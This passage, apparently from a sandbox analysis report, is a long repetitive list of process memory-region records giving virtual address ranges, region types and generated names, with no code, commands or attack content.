0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11049 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11050 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11051 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11052 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11053 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11054 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11055 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11056 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11057 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11058 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11059 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11060 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11061 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11062 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11063 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11064 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11065 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11066 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11067 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11068 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11069 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11070 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11071 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11072 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 11073 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 11074 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11075 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11076 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11077 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11078 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11079 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11080 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11081 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11082 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11083 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11084 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11085 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11086 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11087 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11088 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11089 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11090 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11091 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11092 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11093 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11094 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11095 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11096 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11097 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11098 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11099 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11100 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11101 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11102 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11103 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11104 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11105 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11106 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11107 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11108 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11109 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11110 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11111 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11112 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11113 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11114 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11115 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11116 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11117 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11118 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11119 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11120 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11121 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11122 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11123 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11124 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11125 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11126 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11127 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11128 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11129 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11130 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11131 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11132 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11133 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11134 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11135 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11136 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11137 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11138 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11139 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11140 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11141 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11142 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11143 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11144 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11145 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11146 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11147 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11148 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11149 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11150 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11151 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11152 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11153 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11154 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11155 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11156 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11157 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11158 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11159 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11160 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11161 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11162 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11163 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11164 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11165 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11166 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11167 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11168 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11169 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11170 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11171 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11172 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11173 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11174 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11175 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11176 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11177 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11178 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11179 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 11180 start_va = 0x6e0000 end_va = 0x6fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 11181 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11182 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11183 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11184 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11185 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11186 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11187 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11188 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11189 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11190 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11191 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11192 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11193 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11194 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11195 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11196 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11197 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11198 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11199 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11200 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11201 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11202 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11203 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11204 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11205 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11206 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11207 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11208 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11209 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11210 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11211 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11212 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11213 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11214 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11215 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11216 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11217 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11218 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11219 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11220 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11221 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11222 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11223 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11224 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11225 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11226 start_va = 0x6e0000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 11227 start_va = 0x2890000 end_va = 0x2989fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002890000" filename = "" Region: id = 11228 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11229 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11230 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11231 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11232 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11233 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11234 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11235 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11236 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11237 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 11238 start_va = 0x450000 end_va = 0x45efff monitored = 1 